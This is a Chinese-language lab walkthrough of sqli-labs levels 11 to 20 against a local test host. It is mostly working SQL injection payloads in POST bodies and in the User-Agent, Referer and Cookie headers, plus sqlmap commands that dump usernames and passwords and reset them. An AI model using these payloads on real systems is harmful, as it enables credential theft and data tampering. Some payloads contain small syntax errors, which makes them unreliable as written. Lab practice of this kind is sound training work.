第十一关
这里我们可以看到有一个登陆框,这一关不用我们在传id了,他使用的是post请求,我们使用burpsuite来完成

我们用单引号闭合+order by语句试探出有2个回显位置


获取当前的数据库名
uname=123&passwd=123' union select 1,database() --+&submit=Submit获取表名
uname=123&passwd=123' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1 --+&submit=Submit获取字段名
uname=123&passwd=123' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 --+&submit=Submit获取具体数据
uname=123&passwd=123' union select group_concat(username),group_concat(password) from users --+&submit=Submit
第十二关
这一次我们使用单引号闭合发现没有回显,测试双引号发现报错

显示是"),所以他的闭合类型是双引号+右括号闭合,和上一关步骤一样,我们把uname=123&passwd=123' 改成uname=123&passwd=123“)后面照抄就好
获取所有数据
uname=123&passwd=123") union select group_concat(username),group_concat(password) from users --+&submit=Submit第十三关
这一关用的是单引号+右括号闭合,使用order by发现有两个回显位置

但是我们接着使用union注入发现没有回显,所以我们就使用报错型注入,然后成功获取到数据库名称
获取当前数据库
uname=as&passwd=as') and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&submit=Submit
获取表名
uname=as&passwd=as') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+&submit=Submit获取字段名
uname=as&passwd=as') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name="users"),0x7e),1)--+&submit=Submit获取最终数据
uname=as&passwd=as') and updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users),0x7e),1)--+&submit=Submit
数据不完整可以使用substr分段获取,可以参考第5关的payload
第十四关
这一关和13关一样只需要把闭合方式改成双引号就可以
uname=as&passwd=as“ and updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users),0x7e),1)--+&submit=Submit第十五关
这一关我们会发现没有回显,使用uname=s&passwd=s' or 1=1#&submit=Submit 我们可以发现显示登陆成功,而使用uname=s&passwd=s' or 1=2#&submit=Submit 我们发现显示登陆失败所以我们只能使用盲注,这里我们使用sqlmap进行布尔盲注
首先使用burpsuite把post包放入txt文件,我把包放到了1.txt中
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.122.37
Content-Length: 39
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.122.37
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.122.37/sqli-labs/Less-15/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
uname=s&passwd=s&submit=Submit获取所有数据库
sqlmap -r 1.txt --batch -dbs 
获取当前数据库
sqlmap -r 1.txt --current-db --batch 获取数据表
sqlmap -r 1.txt --batch --tables -D security获取字段名
sqlmap -r 1.txt --batch --columns -D security -T users获取最终数据
sqlmap -r 1.txt --batch -D security -T users -C username,password --dump 第十六关
这一关和上一关都使用的是盲注,只不过闭合方式变成了")
只需要加上prefix参数就可以继续使用15关的payload
获取最终数据
sqlmap -r 1.txt --batch -D security -T users -C username,password --dump --prefix='")'第十七关
我们进入17关会发现有这么一个界面,看提示我们应该是需要用sql注入来实现重置密码的操作

我们还是先使用单引号闭合试试,发现显示错误

但是我们把用户名写成admin就会发现显示成功

接下来我们还是继续之前的步骤
这里我们使用union注入,发现被过滤了,所以我们使用报错注入

获取当前数据库
uname=admin&passwd=s' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+&submit=Submit得到数据库名是security
获取表名
uname=admin&passwd=s' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+&submit=Submit得到表名users
获取字段名
uname=admin&passwd=s' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+&submit=Submit得到字段名username,password
获取具体数据
uname=admin&passwd=s' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(CONCAT(username,':',password)) FROM users),0x7e),1)--+&submit=Submit这里报错了

这是因为原语句使用了update语句中使用了users这张表,而updatexml中嵌套的select语句查询的也是这张表,mysql不允许这两个操作同时作用于这一张表上所以报错,这里我们在select中加入as创建能一张临时表来绕过
uname=admin&passwd=s' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(CONCAT(username,':',password)) FROM(select username,password from users) as test),0x7e),1)--+&submit=Submit
此时密码都变成了1,通关
第十八关
这一关是Header Injection(User-Agent 注入),我们得需要先登陆,然后再ua处注入

这里我们上一关重置了密码为1,所以直接使用admin/1登陆就可以,接下来我们的每次注入都要保证用户名和密码为
uname=admin&passwd=1&submit=Submit
报错注入得到数据库名
User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
获取表名
User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1获取字段名
User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1获取具体数据
User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,31),0x7e),1) and '1'='1
User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),32,64),0x7e),1) and '1'='1
User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),65,97),0x7e),1) and '1'='1 -- -以此类推改变users后面的两个数字即可获取所有数据第19关
看标题,这一关要我们在refer中注入,但是我们还是要保证账号密码要正确,使用单引号闭合方式,发现有报错

说明是单引号闭合
获取数据库
Referer: http://192.168.122.37/sqli-labs/Less-19/' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'获取表名
Referer: http://192.168.122.37/sqli-labs/Less-19/' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'获取字段名
Referer: http://192.168.122.37/sqli-labs/Less-19/' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) or'获取具体数据
Referer: http://192.168.122.37/sqli-labs/Less-19/' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),1,32,0x7e),1) or'
Referer: http://192.168.122.37/sqli-labs/Less-19/' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),32,64,0x7e),1) or'
.................第二十关
标题提示我们,这一关是cookie注入,所以我们需要先登陆,才可以完成,这是登陆之后的样子

登陆之后我们刷新页面在抓包就可以看到cookie了,还是单引号闭合报错
获取当前数据库
Cookie: uname=admin' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
获取表名
Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'获取字段名
Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) or'获取5条具体数据
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users ),1,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users ),32,62),0x7e),1) or '